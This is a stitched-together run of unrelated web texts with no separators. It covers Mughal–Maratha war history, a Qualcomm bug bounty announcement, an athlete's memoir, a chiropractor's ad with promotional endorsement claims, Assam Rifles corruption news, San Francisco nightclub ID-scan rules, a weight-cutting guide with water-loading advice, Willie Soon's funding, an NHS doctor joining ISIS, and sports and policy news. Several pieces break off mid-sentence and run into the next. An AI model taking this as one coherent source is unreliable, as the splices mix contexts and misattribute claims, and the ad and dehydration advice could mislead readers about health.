After significant Mughal losses, Jinji was captured in a classic Pyrrhic victory. The fort had done its work: for seven years the three hills of Jinji had kept a large contingent of Mughal forces occupied while inflicting heavy losses. It had significantly depleted Mughal resources in the region, from the treasury to material.[5]
Marathas would soon witness an unpleasant development of their own making. Dhanaji Jadhav and Santaji Ghorpade had a simmering rivalry, which was kept in check by the councilman Pralhad Niraji. But after Niraji’s death, Dhanaji grew bold and attacked Santaji. Nagoji Mane, one of Dhanaji’s men, killed Santaji. The news of Santaji’s death greatly encouraged Aurangzeb and the Mughal army.[5]
But by this time the Mughals were no longer the army they were earlier feared to be. Aurangzeb, against the advice of several of his experienced generals, continued the war.[5]
Revival of Maratha fortunes [ edit ]
The Marathas again consolidated and began a counter-offensive. Rajaram appointed Dhanaji Jadhav as commander-in-chief and the army was split into three divisions, headed by Jadhav himself, Parshuram Timbak and Shankar Narayan. Jadhav defeated a large Mughal force near Pandharpur and Narayan defeated Sarja Khan in Pune. Khanderao Dabhade, who led a division under Jadhav, took Baglan and Nashik, while Nemaji Shinde, a commander with Narayan, scored a major victory at Nandurbar.[5]
Enraged at these defeats, Aurangzeb took charge and launched another counter-offensive. He laid siege to Panhala and attacked the fort of Satara. A seasoned Maratha commander, Prayagji Prabhu, defended Satara for a good six months but surrendered in April 1700, just before the onset of the monsoon. This foiled Aurangzeb’s strategy to clear as many forts before the monsoon as possible.[5]
Marathas under Tarabai [ edit ]
In March 1700, Rajaram died. His queen, Tarabai, who was daughter of the Maratha commander-in-chief Hambirrao Mohite, took charge of the Maratha army and continued fighting for the next seven years.[5][8]
Signs of strain were showing in the Mughal camp in late 1701. Asad Khan, Julfikar Khan’s father, counselled Aurangzeb to end the war and turn around. The expedition had already taken a giant toll, much larger than originally planned, on the empire and it looked possible that 175 years of Mughal rule might crumble due to being involved in a war that was not winnable.[5]
Mughals were bleeding heavily in the treasuries but Aurangzeb kept pressing the war on. By 1704, Aurangzeb had Torana and Rajgad. He had won only a handful forts in this offensive, but he had spent several precious years. It was slowly dawning to him that after 24 years of constant war, he was no closer to defeating Marathas than he was the day he began.[5]
The final Maratha counter-offensive gathered momentum in the North, where Mughal provinces fell one by one. They were not in position to defend because the royal treasuries had been sucked dry and no armies were available. In 1705, two Maratha army factions crossed Narmada. One, under the leadership of Nemaji Shinde, hit as far north as Bhopal; the second, headed by Khanderao Dabhade, struck Bharoch and the west. With his 8000 men, Dabhade attacked and defeated Mahomed Khan’s forces numbering almost fourteen thousand.[5] This left entire Gujarat coast wide open for Marathas. They immediately tightened their grip on Mughal supply chains. By 1705 end, Marathas had penetrated Mughal possession of Central India and Gujarat. Nemaji Shinde defeated Mughals on the Malwa plateau. In 1706, Mughals started retreating from Maratha dominions.[5]
In Maharashtra, Aurangzeb became despondent. He started negotiations with the Marathas, then cut them abruptly and marched on the small kingdom of Wakinara whose Naik rulers traced their lineage to the royal family of the Vijaynagar empire. His new opponents had never been fond of the Mughals and had sided with the Marathas. Jadhav marched into Sahyadris and won almost all the major forts back in a short time, while those of Satara and Parali were taken by Parshuram Timbak, and Narayan took Sinhgad. Jadhav then turned around, taking his forces to help the Naiks at Wakinara. Wakinara fell but the Naik royal family escaped.[5]
Aurangzeb's death [ edit ]
Aurangzeb had now given up all hope and planned a retreat to Burhanpur. Jadhav attacked and defeated his rearguard but Aurangzeb was able to reach his destination with the help of Zulfikar Khan. He died of a fever on 21 February 1707.[10]
The Indologist Stanley Wolpert says that:
The conquest of the Deccan, to which, Aurangzeb devoted the last 26 years of his life, was in many ways a Pyrrhic victory, costing an estimated hundred thousand lives a year during its last decade of futile chess game warfare. The expense in gold and rupees can hardly be accurately estimated. Aurangzeb's encampment was like a moving capital – a city of tents 30 miles in circumference, with some 250 bazaars, with a 1⁄ 2 million camp followers, 50,000 camels and 30,000 elephants, all of whom had to be fed, stripped the Deccan of any and all of its surplus grain and wealth... Not only famine but bubonic plague arose... Even Aurangzeb, had ceased to understand the purpose of it all by the time he was nearing 90... "I came alone and I go as a stranger. I do not know who I am, nor what I have been doing," the dying old man confessed to his son, Azam, in February 1707.[11]
Niccolao Manucci who worked in Mughal court in service of Dara Shukoh wrote in his book Storia do Mogor:
Aurangzeb feels forced to continue the war against Shivaji and he has from first had the ambition of conquering the countries of others, be it by treachery or force of arms. In the execution of these designs there have died in his armies over a hundred thousand souls yearly and of animals, horses, pack-oxen, camels, elephants, etc over three hundred thousand.[12]
Aftermath of the war [ edit ]
After the death of Aurangzeb, the Marathas began an expansion northward. They crossed the Narmada, the traditional boundary between northern plains and peninsula, and marched into Delhi itself. Within a decade, the Mughals were confined to Delhi itself and had to release the grandson of Shivaji, Shahu, from captivity.[10] By 1758, the Marathas had reached Delhi.
The Mughal empire was split in small kingdoms, with the Nizam of Hyderabad, Nawab of Oudh and Nawab of Bengal quick to assert the independence of their lands.[5]
Maratha conquest of North-west India [ edit ]
Marathas conquered North-west India between 1757 and 1758. Though it was short-lived, it had long-lasting effects upon the politics of the Indian subcontinent. Marathas reached Multan and Peshawar by 1758.[13] They later lost the control of north-west India in Third Battle of Panipat, and suffered heavy damages.
See also [ edit ]Qualcomm Announces Bug Bounty Program
Bug bounty programs are by no means a new idea for the tech industry. They have proven to be highly successful for many companies, giving them opportunities to employ the power of the crowd to find critical bugs and flaws, and Qualcomm is now looking to get in on the fun too.
Qualcomm is launching their “vulnerability rewards program” with a specific focus on Qualcomm Snapdragon processors (such as the newly announced Snapdragon 835) and LTE Modems. Qualcomm is stressing that their bug bounty is unique and different from those of other major silicon vendors, in part because of their focus on the community. Not only will there be rewards of up to $15,000 USD per vulnerability, but Qualcomm will also be honoring members that make particularly interesting discoveries with recognition through QTI Product Security and/or CodeAuroraForum’s Hall of Fame, depending on the vulnerability in question.
The program will start off as a closed program, with only 40 security researchers that have made previous vulnerability disclosures regarding Qualcomm products being invited. If it proves to be successful, it may grow quickly and prove to be a major asset for Qualcomm.
Qualcomm’s bug bounty program will be administered with the HackerOne vulnerability coordination platform. For more details, visit hackerone.com/qualcomm.
And of course, there won’t be any need to wait to disclose bugs until everything gets set up, as the program is effective immediately.
This is a commendable initiative from Qualcomm seeing how we come across more and more exploits surfacing every passing week. A rewards program not only gives them more eyes to examine their hardware and software stacks, it also gives security researchers and enthusiasts an incentive to keep putting the newest technologies and codes to test. The end beneficiary is the user who enjoys a much safer and more secure mobile experience.Before my first Olympic appearance, I was invited to attend an incredibly comprehensive social event known as the Media Summit. This national event attracts every newspaper, magazine, television broadcast, charity foundation, and webcast with any interest in sports, health, or fitness. Athletes expected to do well in the Olympics received invitations to attend, and we were asked to bring a variety of clothes to wear throughout the event. They wanted workout clothes, “Sunday best,” formal wear, competition gear and equipment, “going out” outfits, winter gear, and then basically anything else left in your closet after packing all of these items.
Near the end of the summit, my escort explained to me that one of the biggest photo shoots was just ahead. There would be photographers from Getty Images, NBC, Women’s Health, Shape Magazine, the Associated Press, and many others. Many photographers were asking the athletes to show off their bodies. They wanted to see the muscles and definition. They clapped and cheered as the athletes posed.
I was rushed into my final interview before this photo shoot, and as soon as I came out of the interview and into the massive studio room filled with lights, backdrops, and props, three women grabbed my suitcases out of my hands, opened them up, and sprawled my clothes out across a table. They were discussing what I should wear for each part of the shoot.
Another woman, Diane, grabbed my hand and rushed me off to what appeared to be a makeshift dressing room. Amidst the pandemonium of people running around, lights flashing, and people shouting, a black curtain hung from a pole to somewhat shield the person changing from everyone else’s view. As I stepped behind this curtain, the three women came running in with my clothes and told me what to wear and when to put each outfit on.
“One minute!” I heard someone yell. Diane told me that I would be changing many times in the next fifteen minutes and that I needed to do it as quickly as possible. I’m obviously competitive, so I saw this as a challenge. I quickly dressed and rushed out.
As soon as I exited I was told to sit in a chair and wave flags. “Two minutes to dress change!” Two minutes flew by as the cameras around me clicked away and suddenly I was back behind the curtain, changing into my winter coat and snow pants.
“Thirty seconds!” the same man yelled. I ran out of the dressing room and the setting had already changed. I was instructed to play in the snow shooting from a fake snow blower. “Two minutes!” he yelled once again. I played in the snow as the camera crew moved around me, taking photos and encouraging me to smile or pose with a “game face.”
The time ended and I ran back into the changing room. “One minute!” I quickly removed my winter gear and slipped into my Sunday best. The lighting had changed, and I was now doing portrait shots. All I really wanted right then was a mirror, because I knew my hair was a disaster from changing my clothes so many times. “Twenty seconds until wardrobe change!” The camera clicked a dozen more times, and I ran back behind the curtain |
culoskeletal injuries. Many clinicians are confidently incorporating laser therapy programs into their practices due to the growing body of literature supporting the efficacy of laser therapy as a modality to reduce inflammation and accelerate recovery. Laser therapy technology has been recently endorsed by professional organizations such as the APTA, WHO and IASP. For more information on the benefits of laser therapy, contact LiteCure and we will assist you and provide additional information.Our combined clinical experience of over 50 years gives us the ability to assist you in achieving your wellness goals. We want you to relax, enjoy and fully benefit from your chiropractic care.Chiropractor Seattlehttp://www.chirohealth.org/ /span>http://www.midtownchiroseattle.com We accept most major insurance plans, including Blue Cross Blue Shield, Aetna, Cigna, First Choice, United Healthcare, Regence, Premera, L&I claims, and all auto insurances.Address: 1420 5th Ave #205, Seattle, WA 98101Phone:(206) 682-1424Hours: 9:00 am - 6:00 pm M-FDr. Mark BurickPresident Midtown Chiropractic & Rehabilitation, P.S.February 2013 - Present (2 years 5 months) 1420 5th Ave Suite 205, Seattle, WA 98101After serving clients in the Securities Building for over 20 years, Dr. Burick has moved to The City Centre at 5th and Pike in the heart of Downtown. Midtown Chiropractic & Rehabilitation offers a complete wellness experience. Our services include: Chiropractic, Massage Therapy, Laser Therapy, Rehabilitation, Nutrition, Stress Reduction, Meditation, and in house x-ray services.Alternative MedicineChiropractor Seattle, Previous: Burick Chiropractic & Nutritional Healing, P.S.Dr. Mark Burick is Seattle's class four laser authority in regards to integration, delivery, and the totality associated with the incredible healing abilities in conjunction with class four laser use. Cleared by the FDA in 2003, Class IV Laser laser therapy has become standard of care for many musculoskeletal injuries. Many clinicians are confidently incorporating laser therapy programs into their practices due to the growing body of literature supporting the efficacy of laser therapy as a modality to reduce inflammation and accelerate recovery. Laser therapy technology has been recently endorsed by professional organizations such as the APTA, WHO and IASP. For more information on the benefits of laser therapy, contact LiteCure and we will assist you and provide additional information.Our combined clinical experience of over 50 years gives us the ability to assist you in achieving your wellness goals. We want you to relax, enjoy and fully benefit from your chiropractic care.Chiropractor Seattlehttp://www.chirohealth.org/ AdChoices
Chiropractor_WA Customer reviews:Hi Everyone. I have some news. I have decided to cease trading as 2017 comes to a close.
The endless hard work and time that goes into producing the products is not reflected in the income it generates and as the business has scaled up the harder and more consuming it has become. So, I have made the tough decision to call it a day. I want to create a life that I love not one that I endure and only I can make those positive changes, and this is a huge leap towards that end goal.
Thank you for all your support over the years, it has meant the world to me and I am so grateful for the brilliant moments, life lessons and memories that have come from this crackers journey.
Who would have thought we could win 6 Great Taste Awards from a kitchen in North Ferriby Eh? I am so proud of what we created and the monster it became. It has so much potential in many ways but once I became a factory struggling to produce the same things on repeat, just to keep up, it lost the creativity and that creative product development which fuels my passion in life.
The business will wind down from now on and internet orders will cease in the new year as stock dwindles. It will not be the end for the recipes however. Currently they are protected under the IPO office and copywritten, and are under a pending contract to a new direction so watch this space.
In the mean time the website will stay live and I will use it as a blogging site for recipes as I continue to cook and adore creating food for allergies and dietary requirements.
I am also off on Holiday for a family Christmas to recuperate.The Christmas Delivery cut off date for guaranteed delivery 2017 is midnight on the 15th December. Any orders placed after the 15th December will have to be posted upon our return to the UK on the 6th January. Thanks for understanding and I hope you all have a brilliant Christmas and New Year
Thank also for your past and present support. I will miss you all
Erica xx
I am a trained chef who learned to cook as soon as my mum could sit me up at the work tops.
Inspired by Yorkshire I am an advocate of shopping local and supporting local trade and craft. I was also born with many allergies causing me to be amongst other things Diary Free and Gluten free. So I’ve spent a lot of years living with dietary restrictions and learning to make treats that taste great. In my range of preserves, pickles, chutneys, jams, cooks ingredients, flavored oils and dressings I hope to be able to share my years of experience catering for dietary requirements and share with you all the rather yummy products I make using locally sourced ingredients and local suppliers.
Inspired by my mum.
True to my roots of learning to cook as a child in my family kitchen, I also don’t believe in adding any funny stuff. My mum didn’t feed it to me, so I won’t feed it to you.
Have you tried my recipe for…The petition, filed by a former personnel of the Assam Rifles, sought an external and independent inquiry.
The Delhi High court on Friday issued notices to the Home Ministry, the Defence Ministry and the Assam Rifles after a plea pointed out that an inquiry by the vigilance department into allegations of corruption was “neither fair nor proper” as the director general of the paramilitary force, accused of corruption himself, was also the head of the department.
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The force had initiated an inquiry into the allegations in September 2014 after a sting operation by the magazine Tehelka alleged corruption in the awarding of civil contracts by the Assam Rifles and claimed that the Director General, the Additional Director General and the Chief Engineer of the force were receiving bribes for the contracts through a Junior Commissioned Officer.
[related-post]
The sting operation had also quoted some alleged contractors, who had claimed that 30 per cent of the cost of a project for the contract “goes straight into the officials’ pockets”.
The petition, filed by a former personnel of the Assam Rifles, sought an external and independent inquiry.
“The said sting operation specifically reveals that some Assam Rifles personnel used to take bribes from private contractors at various levels for the smooth passage of tenders, thereby tarnishing the organisation as a whole. The bribes are openly taken by the men in uniform sitting inside their respective offices,” it stated.
The petitioner, 65-year-old Rampat Singh, alleged that the inquiry is “bad in law, illegal, improper and biased as the same is against the principal of natural justice and against the directive principles of state policy”. He pointed out that officials of the Assam Rifles who are conducting the inquiry are subordinates of the DG, who has been named in the sting operation, and the Vigilance Department was under his control as well.
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The plea also raised the legal issue of whether a junior officer can proceed with a departmental inquiry into allegations made against a superior officer, who is also in charge of the principal office.I really enjoyed this game's voice acting, particularly that of the Big Shrimp. The mechanics were fun, but could maybe use some more challenging puzzles involving the fins and mines. That said, I appreciated that the game was short so I could redo it when I got the bad ending.
However, I did hit one annoying snag. In the area right after you see the Big Shrimp for the second time, I snagged the fins and then thought I might experiment by going downward instead of across there in the bottom left. Naturally, I died, but then when I respawned it was right above that same pit and without the fins on. So I just fell into the pit and died again and again. I'll have to restart, which is kind of annoying.
Still, the voice acting, graphics, and those eerie sounds near the end of the game keep the score high.Greetings, dance clubbers and event goers—welcome to San Francisco. Feel free to patronize the club or festive event of your choice; just remember that the following regulations apply for all events and entertainment establishments with capacity for over 100 people.
You must pass through a metal detector to enter the premises.
You will be ID scanned, and your ID will be maintained in a database for at least 15 days, ready to be made available to the police on request.
"High visibility" cameras watch you from the entrance and exit points of the premises. They will keep a recorded database for at least 15 days, one that's also available to the police on request.
Troubling rules
These rules don't exist—yet. But the City's Entertainment Commission held a hearing last night to consider them, and a consortium of civil liberties groups have already expressed considerable alarm.
"We are deeply disappointed in the San Francisco Entertainment Commission for considering such troubling, authoritarian, and poorly thought-out rules," warns the Electronic Frontier Foundation, PrivacyActivism, and eight other groups in a letter sent to the Commission. It continues:
Scanning the IDs of all attendees at an anti-war rally, a gay night club, or a fundraiser for a civil liberties organization would result in a deeply chilling effect on speech, since participants could not attend without their attendance being noted, stored, and made available on request to government authorities. This would transform the politically and culturally tolerant environment for which San Francisco is famous into a police state. A direct pipeline of personal information to the police also invites systemic abuses. The proposed rule would allow police to make a wholesale request for information every fifteen days, creating their own internal database of which individuals visit which particular venues and how often. The last time [San Francisco Police Department] created an intelligence unit, a court disbanded it to stop multiple documented abuses. The San Francisco Entertainment Commission should not invite history to repeat itself.
Just a request
We put a call into the Commission to find out why or if its members think this proposal is necessary, but we just got a response repeating the notice about the meeting. The SFPD requested these provisions last year, the Entertainment Commission's Executive Director Jocelyn Kane told the SF Weekly on Monday. Some of the discussions about beefing up event security follow a fatal shooting last July at Jellys, an area night club which subsequently closed.
"This is a request. This is nothing other than, 'Let's talk about this'," Kane assured the Weekly. But she admitted "the assumption that you need these things to operate isn't something that everyone agrees to."
The notice, however, suggests that the Commissioners could adopt rules that "depart from the terms of the proposals below but address the same general subjects as the proposals." They could also expand or contract the 100 person threshold to "apply to a different or broader range of venues."
Other requirements up for discussion include:When I wrestled in high school and college, here's how I approached making weight: get super heavy over the weekend, start eating well on Monday, start cutting back on food and water by Wednesday, cut down to tiny snacks and sips of water by Thursday, and try to sustain that until Saturday morning.
I'm writing this article, so you don't have to put yourself through that same torture.
Why You Should Care About Cutting Weight
I think it's fair to say a large portion of Breaking Muscle readers are participating in some type of combat sport. Whether that's wrestling, MMA, Brazilian jiu jitsu, or muay doesn't really make a difference. In fact combat sports are some of the fastest growing sports in the world:
From 2007 to 2009 the UFC increased their total number of fans in the United States by about 14%. 1
From 2007 to 2012 the number of International Brazilian Jiu Jitsu Federation tournaments has more than tripled. 2
Girls freestyle wrestling is the fastest growing sport in New York City.3
One common thread that ties most combat sports together is weight-class based competition, and consequently, the practice of weight cutting. But weight cutting is not a practice that's solely relegated to combat sports. It's also done by jockeys, rowers, and gymnasts.
So, if you're training in a sport where you have to cut weight to compete, definitely read on. But even if you're just dedicated to strength, conditioning, and wellness, it's still helpful to know how hydration and dehydration can affect your body.
Let's learn the science behind this surprising weight cutting truth: drinking a ton of water and saving your weight cut for the last day is actually better than gradual dehydrating. In this case, slow and steady does not win the race.
The Role of Vasopressin
The tiny reason behind this big weight-cutting truth, is an antidiuretic hormone called vasopressin. This hormone plays a key role in maintaining the water volume in the space between your cells.
An important facet of vasopressin's function is how it reacts to dehydration. Even mild dehydration causes an increase in vasopressin secretion, which stimulates urine concentration.4 In other words, as soon as you're even a little bit dehydrated, the body kicks in water conservation mechanisms. On the other hand, a state of super hydration reduces the production of vasopressin and thus your body begins flushing out your excess water through more frequent urination and higher propensity for sweating.
Cut Weight, the Right Way
I'm working with sports nutritionist and boxing world champ Chris Algieri to develop a detailed, step-by-step, guide to cutting weight correctly. But for now, here's how Chris approached making weight for his championship fight at Barclay's.
Chris told me he was feeling full and hydrated until about 24 hours out. He followed up a solid nutrition and hydration plan with a hard weight cut the day before and spent almost zero time with restricted water intake. The right approach to the weight cut showed in Chris’s fight. Even in the twelfth round, it looked like he could go twelve more.
A typical weight-cutting meal for Chris.
The key? Maintaining (maximum) hydration until about 24 hours before weigh-ins. You have to drink water early and often. Here is Chris's water-intake guide, which you can follow leading up to a fight or a match, starting from five days out:
Day 5: 2 gallons
Day 4: 2 gallons
Day 3: 1 gallon
Day 2: 2 liters
Day 1: 1 liter
Pre-Weigh-In: Sips as needed
Next, you have to sweat, sweat, sweat! But, don't use passive water-loss strategies - like diuretics or Epsom salt baths - these can be dangerous and deplete water from places like joints, leading to poor performance and higher chances of injury. Instead, dress warm and work out. Generate sweat by practicing the skill sets needed for your sport. This way you’re improving while making weight.
Refeed and Rehydration Strategies
Even more important than your cutting program is how you recover from your cut and prepare for the competition. Dehydration is the number one limiting factor in athletic performance.
But post weigh-in, it's not just about water. You have to get carbs and consider macronutrient kinetics, i.e. the speed at which your body absorbs nutrients. That means no fats, fibers, or meats after weigh-ins, they slow down the absorption in your gut. Instead have liquid carbs and liquid proteins - specifically, fast-digesting carbs that are low in fiber like Vitargo.
One final, interesting bio-phenomenon to consider in you reefed strategy - warm foods cause vasodilation, meaning nutrients will absorb faster. Fancy a warm tea, anyone?
Wrap-Up
We're curious - what do you cut weight for? Cutting weight is never fun, but it certainly shows passion for your sport if you're willing to put yourself through the experience. What type of strategies do you use and how will you adjust them after reading our breakdown? Post your thoughts to the comments below.
References:
1. Kelsey Philpott, “The UFC Fan Base,” Payout, the Business of MMA, November 29, 2010, accessed May 15, 2014.
2. Caleb, “Jiu-Jitsu is Growing… But How Much?,” The Fightworks Podcast, December 12, 2012, accessed May 15, 2014.
3. “Girls Wrestling Facts,” Beat The Streets, accessed May 15, 2014.
4. N. Bouby and S. Fernandes, "Mild dehydration, vasopressin and the kidney: animal and human studies," Accessed May 16, 2014, European Journal of Clinical Nutrition (2003) 57, Suppl 2, S39–S46. doi:10.1038/sj.ejcn.1601900
Photos 1&4 courtesy of Shutterstock.
Photo 2 by JSPHOTO John Shartrand (Owner: John Shartrand) [Public domain], via Wikimedia Commons.
Photo 3 courtesy of Chris Algieri.I have a large debt and struggle to get by. He admits his costs won’t increase if I move in, so I feel upset that he could help me but is choosing not to
I am a woman in my late 20s with a good career, but I struggle to get by and have £10,000 worth of debt. Some of this I borrowed from my partner to repay a credit card. I have been with him for more than a year and we are talking about me moving in with him. He earns three times what I do and is sensible with money, which I respect. The issue is that he wants to split the mortgage and bills 50/50. Part of me thinks this is fair, but he admits his bills will not increase, so any “rent” I pay will just be an additional number on his spreadsheet. It upsets me that he could help me without any cost to himself, yet won’t. We have talked but haven’t come to an agreement. Am I being unreasonable?
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A prominent climate change sceptic may see his work re-examined by journals after Greenpeace revealed that he had not disclosed funding from fossil-fuel companies.
Wei-Hock “Willie” Soon, an aerospace engineer with the Harvard-Smithsonian Center for Astrophysics, has published several papers arguing that global warming is caused by solar activity. His work is cited by climate sceptics such as US senator James Inhofe.
This week, Greenpeace disclosed papers revealing that Soon had received more than $1 million in funding from fossil fuel interests, including Exxon Mobil, the American Petroleum Institute, the Charles Koch Foundation and Southern Company – an energy company that generates half of its power from burning coal.
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Greenpeace says Soon repeatedly failed to disclose his funding to academic journals – which may have violated the ethical guidelines for those journals – yet later referred to the papers as “deliverables” in communications with his funders.
Journals investigating
Kenneth Heideman of the American Meteorological Society, which published one of Soon’s papers, says: “AMS is investigating the facts and will make a decision regarding the disposition of the paper once all of these have been considered.”
Several of Soon’s papers appeared in the Journal of Atmospheric and Solar-Terrestrial Physics. “While we have not yet determined what action the journal will take, the publisher has made it clear that such allegations are taken very seriously,” says Robert Strangeway, its editor.
Greenpeace said its collaborator on the probe, the Climate Investigations Center, would be in touch with all the journals involved to notify them of the probe’s findings.
Climate scientists contacted by New Scientist were divided on the issue. “I think it is quite fundamental to disclose conflict of interest,” says Corinne Le Quéré, director of the Tyndall Institute for Climate Change Research in Norwich, UK. “Although failure to do so doesn’t necessarily mean the science if flawed, it is important to let the reviewers know what is the context in which the research was done.”
Not transparent
Le Quéré adds that some level of scrutiny may be missing if a potential conflict of interest has not been disclosed.
“People should declare interests for the sake of transparency,” says Myles Allen of the University of Oxford. “But the evidence is unaffected by where people’s funding comes from. I have received a very small grant from Shell. More importantly, I get a lot of money from the UK government. Does this mean I am automatically biased to support UK climate policy? I hope not.”
Joanna Haigh of Imperial College London, who has studied solar impacts on climate change and natural variations in the climate, points out that the reality of science publishing can be subtle. If Soon submits to journals that have expertise in climate and atmospheric science then any weaknesses should be picked up by reviewers, she says. However, she adds, he has tended to publish elsewhere.
“The revelations about the undeclared funding lead one to consider what motivates the science,” she says.“In pictures on his Facebook page, he is seen in combat fatigues, carrying an automatic rifle and reading the Koran.” Not that this has anything to do with…
“NHS doctor leaves family in Sheffield to ‘join Islamic State in Syria,'” by Danny Boyle, Telegraph, May 24, 2016:
An NHS doctor who spent seven years working in Britain left his wife and two children in Sheffield to join Isil fighters, it has emerged.
Issam Abuanza – who is pictured on Facebook wearing medical scrubs and carrying a gun in a holster – moved to Syria with the militant group, leaked recruitment papers have disclosed.
The 37-year-old, who is believed to be the first practising NHS doctor known to have joined Isil fighters, is said to have gained a licence to practise medicine in Britain in 2009.
Dr Abuanza reportedly combined shifts as a registrar with running an online clothing company selling kaftan dresses.
“I’ve no idea how he became like this or who showed him the path to terror”Najla Abuanza
But Dr Abuanza – a Palestinian doctor with British citizenship – left Britain to join Islamic State of Iraq and the Levant (Isil) fighters in 2014, documents obtained by the BBC showed.
His sister Najla said that his parents will “never forgive him”.
Dr Abuanza is believed to have crossed into Syria on July 26 2014, soon after the creation of Isil’s self-proclaimed caliphate.
In his registration document, he is said to have described himself as a doctor specialising in endocrinology – the treatment of hormonal imbalances.
Dr Abuanza is understood to have qualified as a doctor in Baghdad in 2003 before later moving to Britain and working in the NHS from 2007.
In pictures on his Facebook page, he is seen in combat fatigues, carrying an automatic rifle and reading the Koran.
Dr Abuanza’s wife told the BBC that his family knew nothing of his plans.
“He used to be quite the dashing young man, very modern,” Dr Abuanza’s sister, Najla Abuanza, told the BBC. “I’ve no idea how he became like this or who showed him the path to terror.”…A moment of truth for medical marijuana dispensaries will come this week when California’s Fourth Appellate District Division Three will issue its opinion in the Qualified Patients vs. Anaheim case by July 19. The decision will come after a years-long appeal process closely watched by patients, advocates, politicians, lawyers, and the press.
California’s localized approach to interpreting the state’s medical marijuana law has some distinct drawbacks. Among those is the fact acting identically can either lead to profits or to jail, depending where a patient lives, points out David Downs in the East Bay Express. Cities in conservative areas — like Anaheim in Orange County — have effectively re-criminalized dispensaries, setting up an appeals court showdown scheduled to end sometime within the next week. California’s localized approach to interpreting the state’s medical marijuana law has some distinct drawbacks. Among those is the fact acting identically can either lead to profits or to jail, depending where a patient lives, points out David Downs in the
California cities cannot make growing and distributing medical marijuana illegal, according to Qualified Patients’ lawyer Anthony Curiale, because Prop 215 (passed by voters in 1996) and SB 420 (in which the Assembly clarified and expanded the law in 2003) took away the criminal penalties for doing so.
If the three-judge appellate court decides in favor of Qualified Patients with sound legal reasoning, a precedent would be set which could then be used by lawyers across the Golden State in medical marijuana battleground cities like Los Angeles, San Diego, Santa Barbara, Costa Mesa, and San Jose.
But Anaheim City Attorney Moses W. Johnson said the city’s ban on dispensaries has already stood up once in a trial court, and if it loses on appeal, Anaheim is threatening to take it all the way to the California Supreme Court.
Another possible outcome is that the appellate court could rule in favor of Qualified Patients, but issue an unpublished opinion inapplicable to other cities, according to Oakland attorney Joe Elford, counsel for Americans for Safe Access (ASA).
“We’re hoping it’ll be a bellwether case, but there’s no guarantee,” Elford said.
With the worse case scenario, in which Qualified Patients’ appeal fails, California would become even more balkanized in its approach to medical cannabis.
With that sequence of events, it’s likely that hard-line conservative cities like San Leandro would send even more local tax dollars to cities like Oakland that sensibly tax and regulate the $14 billion a year medical marijuana industry.It stands to reason that one of the effects of the turmoil in Iraq will be a change in oil prices. Indeed, the violence in OPEC’s second-largest producer has already sent oil prices to ten-month highs. A recent report from the International Energy Agency (IEA) put it well: “while Iraq’s production is huge, so are the political hurdles it is facing -- and nothing provides a clearer example of that risk than the military campaign.”
Yet this is no time to panic. For one, Iraq is not the only dark cloud hovering over the world oil market. Libya, with its 48 billion barrels of reserves, is pumping a mere ten percent of what it can, the lowest level since September 2011. Sabotage has significantly reduced the flow of oil out of Nigeria as well. And, if Iran and the West can’t reach a deal on Iran’s nuclear program in July, Iran could soon be facing renewed sanctions on its oil industry. In other words, Iraq might be the least of the world’s worries.
Further, despite some weaknesses in production, world oil supply is actually fairly healthy at the moment -- up a million barrels a day over just a year ago. It isn’t because of OPEC. (At a recent meeting in Vienna, OPEC members decided to keep producing 30 million barrels a day, as they have for nearly three years.) Rather, supplies are up because of North American production. In addition, China has diversified its sources of oil imports and stockpiled sizeable amounts of oil in recent months, mitigating the risk of a global shortage from the loss of Iraqi oil production.
That said, if Iraq sees a major supply disruption for a prolonged period -- one that wiped out nearly all of its export capacity over multiple months -- and if other countries in the region continue to see falling production, there are several things that Saudi Arabia, OPEC, and the United States can do to fillIn 48 career games at Coors, mostly with the D-backs from 2009-14, Parra has hit.283 with a healthy.344 on-base percentage. But he has managed to not hit a home run.
DENVER -- The Rockies' signing of outfielder Gerardo Parra -- whose three-year, $27.5 million contract became official Tuesday -- signals that the team values productive at-bats and on-base percentage. But even Parra realizes that Coors Field rewards a powerful swing.
DENVER -- The Rockies' signing of outfielder Gerardo Parra -- whose three-year, $27.5 million contract became official Tuesday -- signals that the team values productive at-bats and on-base percentage. But even Parra realizes that Coors Field rewards a powerful swing.
In 48 career games at Coors, mostly with the D-backs from 2009-14, Parra has hit.283 with a healthy.344 on-base percentage. But he has managed to not hit a home run.
• GM Bridich: Rockies hearing from other clubs on outfielders
Parra, 28, is not going to change his style. But when he's in Colorado, he figures he'll eventually do what guys in Purple Pinstripes do.
"Now is the time for the home runs to come," a chuckling Parra said in Spanish through an interpreter during his introductory conference call, adding that he feels comfortable "playing and hitting at Coors."
Video: NYY@BAL: Parra goes 4-for-5 with three RBIs
The Rockies signed Parra in part because of his solid bat. He finished last season hitting.291 with a.328 OBP and.452 slugging percentage, but posted a.328/.369/.517 line in 100 games with the Brewers before being traded to the Orioles. Parra also adds positional versatility. He won Gold Glove Awards twice with the D-backs and can play all three outfield spots.
Parra chose the Rockies over the Giants and the Nationals, mainly because the Rockies showed strong interest early. Parra said he realized the Rockies' pitchers are mostly young or still gaining big league traction but "it's a young team and they're going to work together."
There is still work to do in putting together the 2016 Rockies.
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Parra is a left-handed hitter on a club that already has three lefty-hitting starting outfielders: Corey Dickerson in left, Charlie Blackmon in center and Carlos Gonzalez -- a longtime friend and former teammate of Parra in the D-backs' system, on Venezuelan national teams and in winter ball -- in right. The Rockies' efforts to use an outfielder in a deal for pitching haven't come to fruition so far. But general manager Jeff Bridich decided not to wait to sign Parra.
"The last thing I want to do is apologize for bringing talent into this organization, and talent that is better in some ways," said Bridich, who acknowledged the club is still looking to improve its starting and relief pitching, but did not place odds on making a trade or a free-agent signing.
Video: Jeff Bridich analyzes Rockies' outfield entering 2016
In researching Parra -- a process that included a conversation with Gonzalez but also involved normal "due diligence" -- Bridich said he found a player and person who fits where the Rockies' building efforts stand. Plus, Bridich said the Rockies were not excited about next year's free-agent class, so they struck when both sides saw common ground.
"Defense is one of his strengths," Bridich said. "He's played a lot of games here and he'll take tutelage from CarGo and the other guys.
"When we faced him, he always seemed he was a tough out -- a guy willing to place a high value on at-bats... a tough out, a gritty ballplayer, a heady ballplayer."
The contract, which had been pending since last week, is now official, and the Rockies cleared a spot on the 40-man Major League roster for Parra by designating Kyle Parker, their top pick in the 2010 Draft, for assignment.Pot lobby turns its back on 'Cheech & Chong' Looking to shake the stoner stereotype, the marijuana industry drops famed smoker Tommy Chong as an activist.
The marijuana lobby is tired of the “Cheech & Chong” stoner jokes and wants to be taken seriously in Congress.
